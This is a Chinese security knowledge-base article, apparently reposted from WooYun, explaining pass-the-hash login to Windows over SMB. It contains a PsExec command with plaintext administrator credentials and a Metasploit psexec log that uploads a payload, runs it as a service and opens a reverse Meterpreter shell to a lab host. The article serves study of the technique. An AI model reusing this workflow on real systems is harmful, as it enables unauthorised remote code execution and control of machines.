知识库:使用Hash直接登录Windows

zone:使用Hash直接登录Windows

由于msf用到exploit/windows/smb/psexec模块,所以猜想和pstool里面的PsExec.exe应该有些许联系

查看说明,PsExec.exe可以进行远程连接得到一个交互式cmdshell,

C:\Documents and Settings\Administrator\桌面>PsExec.exe \\192.168.1.108 -u "admi 
nistrator" -p "123"  cmd 

PsExec v1.98 - Execute processes remotely 
Copyright (C) 2001-2010 Mark Russinovich 
Sysinternals - www.sysinternals.com 


Microsoft Windows [版本 5.2.3790] 
(C) 版权所有 1985-2003 Microsoft Corp. 

C:\WINDOWS\system32>

csdn上某牛对于该工具的分析:PSTOOLS系列工具分析----对PSEXEC的逆向解析

“可以看到psexec在通信时主要用到了SMB这个应用层协议。简而言之,SMB(服务器信息块)协议是一个通过网络在共享文件、设备、命名管道和邮槽之间操作数据的协议,我们建立IPC连接、映射网络驱动、拷贝文件等操作都是基于SMB协议”

话说回来,msf中使用的,自己重现使用hash登陆的部分过程:

msf  exploit(psexec) > exploit 
[*] Started reverse handler on 192.168.1.5:4444 
[*] Connecting to the server... 
[*] Authenticating to 192.168.1.108:445|WORKGROUP as user 'administrator'... 
[*] Uploading payload... 
[*] Created \JLqNziXu.exe... 
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.108[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.108[\svcctl] ...
[*] Obtaining a service manager handle... 
[*] Creating a new service (lvNaXYva - "MyQqiNw")... 
[*] Closing service handle... 
[*] Opening service... 
[*] Starting the service... 
[*] Removing the service... 
[*] Closing service handle... 
[*] Deleting \JLqNziXu.exe... 
[*] Sending stage (752128 bytes) to 192.168.1.108 
[*] Meterpreter session 2 opened (192.168.1.5:4444 -> 192.168.1.108:1033) at 2013-01-05 22:05:35 +0800

meterpreter > sysinfo 
Computer        :Test 
OS              : Windows .NET Server (Build 3790). 
Architecture    : x86 
System Language : zh_CN 
Meterpreter     : x86/win32 
meterpreter >

可以看出认证部分[*] Authenticating to 192.168.1.108:445|WORKGROUP as user 'administrator'...应该就是向服务器发起一个用户或共享的认证(其他的是Meterpreter shell建立的过程),大致原理和PsExec.exe的是一样的。

最后关键的问题是,msf这种的"使用的是hash登陆"。而SMB协商过程指出:

“在SMB协议中,如果你想进行一次在服务器上的请求认证,你的密码可以以原码或加密后的形式发送到服务器端。如果服务器支持加密属性,客户端必须发送一个应答信号。在negprot应答数据报中,服务器会给客户端发送一个密钥。然后,客户端将密码加密并通过SesssetupX请求数据报发送到服务器端。服务器将会核查密码的有效性,并由此允许或拒绝客户端的访问。你必须知道一个SMB密码(未加密)的最大长度是14位。密钥的长度一般为8位,加密过后的口令长度为24位。在ANSI密码中,密码中的所有位都转换成大写的形式然后再加密。

密码是以DEC编码方式进行加密的。”

抓包证明:

利用PSEXEC远程连接,SMB协商过程数据包:

[使用Hash直接登录Windows]简单分析

另外:次过程中,通过cain做嗅探,导致smb协商不成功,而且cain抓出提出smb协议的主机的账号及hash,而没能抓出登陆过程使用的用户名密码

meterpreter连接方式(应答报文包含了一个“SecurityMode”域,它判断是否允许使用加密属性):

[使用Hash直接登录Windows]简单分析

得以验证。

--!

转自:http://zone.wooyun.org/content/2230

留言评论(旧系统):

aaa @ 2014-05-29 13:31:37

使用提示找不到网络路径。是什么原因

本站回复:

佚名 @ 2016-02-27 04:51:58

请问下核总,系统登陆的hash和cain嗅探smb协议的hash是一样的吗?

本站回复:

百度